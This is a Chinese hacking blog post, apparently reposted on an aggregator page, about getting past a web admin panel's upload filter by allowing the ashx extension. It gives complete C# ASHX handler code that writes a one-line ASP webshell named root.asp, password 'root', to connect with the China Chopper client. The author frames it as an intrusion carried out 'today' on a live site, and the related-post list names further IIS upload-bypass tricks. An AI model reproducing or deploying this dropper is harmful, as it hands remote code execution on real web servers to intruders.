滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型

今天日一站

发现后台可以设置上传类型，但是asp，asa,cer等等都不行，上传之后就提示下载

尝试着关闭了下了，还是不行，后来找到了一位前辈写的文章

过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型，上传一个ashx脚本上去，
脚本内容如下：
www.92hack.net/ashx.txt
然后访问上传后的ashx文件，就会在同目录下生成一个root.asp的一句话木马，然后使用一句话木马客户端连接即可。利用方面就大家自由发挥了！

密码为root，果断菜刀连之

<%@ WebHandler Language="C#" class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();

}

public bool IsReusable {
get {
return false;
}
}

}

没有最牛逼的方法，只有最爱思想的脑子

by:狗一样的男人

滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型相关推荐

突破asa,cer,cdx,php,aspx 上传
发现后台可以设置上传类型,但是asp,asa,cer等等都不行,上传之后就提示下载尝试着关闭了下了,还是不行,后来找到了一位前辈写的文章过滤了asa,cer,cdx,php,aspx等脚本类型的上 ...
IIS6.0 asp.asa.cer.cdx. 原理
IIS6.0存在两种解析漏洞: 第一种是修改后缀,建立一个"*.asp;.gif"的文件,windows会将他作为一个图片解析,但IIS不会. 第二种是在目录下建立一个" ...
IIS6.0文件解析缺陷(asa,cer,cdx)
IIS对文件解析可以用ISAPI扩展. 有的网站在上传检测中会用"黑名单"方法,但是有时会忽略asa.cer.cdx扩展名文件上传,以至于webshell上传成功. 这是因为默认情 ...
网站不允许上传asp cer cdx htr等文件时
当网站不允许上传 asp cer cdx htr等文件时, 上传一个stm文件, 内容为:  直接请求这个 ...
不允许上传asp cer cdx htr文件时解决方法
一段代码: <br> 当前文件名称:<!--#e cho var="DOCUMEN ...
当网站不允许上传asp cer cdx htr文件时的一个解决方法！
From:http://www.neeao.info 在此感谢lcx大哥! 前些天向lcx大哥求教关于web上传的问题,说起利用stm来上传,还能执行程序,不解,就给我了一段代码: 见lcx大哥给的一 ...
当网站不允许上传ASP,CGI,CER,CDX,HTR等类型的文件时
方法:上传一个shtm文件, 内容为:  直接请求这个shtm文件, conn.asp就一览无遗, 数据库 ...
3万字通俗易懂告诉你什么是.NET?什么是.NET Framework？什么是.NET Core?
通俗易懂,什么是.NET?什么是.NET Framework?什么是.NET Core? 什么是.NET?什么是.NET Framework?本文将从上往下,循序渐进的介绍一系列相关.NET的概念,先 ...
【转载】通俗易懂，什么是.NET?什么是.NET Framework？什么是.NET Core?
什么是.NET?什么是.NET Framework?本文将从上往下,循序渐进的介绍一系列相关.NET的概念,先从类型系统开始讲起,我将通过跨语言操作这个例子来逐渐引入一系列.NET的相关概念,这主要包 ...

滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型

滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型相关推荐

最新文章

热门文章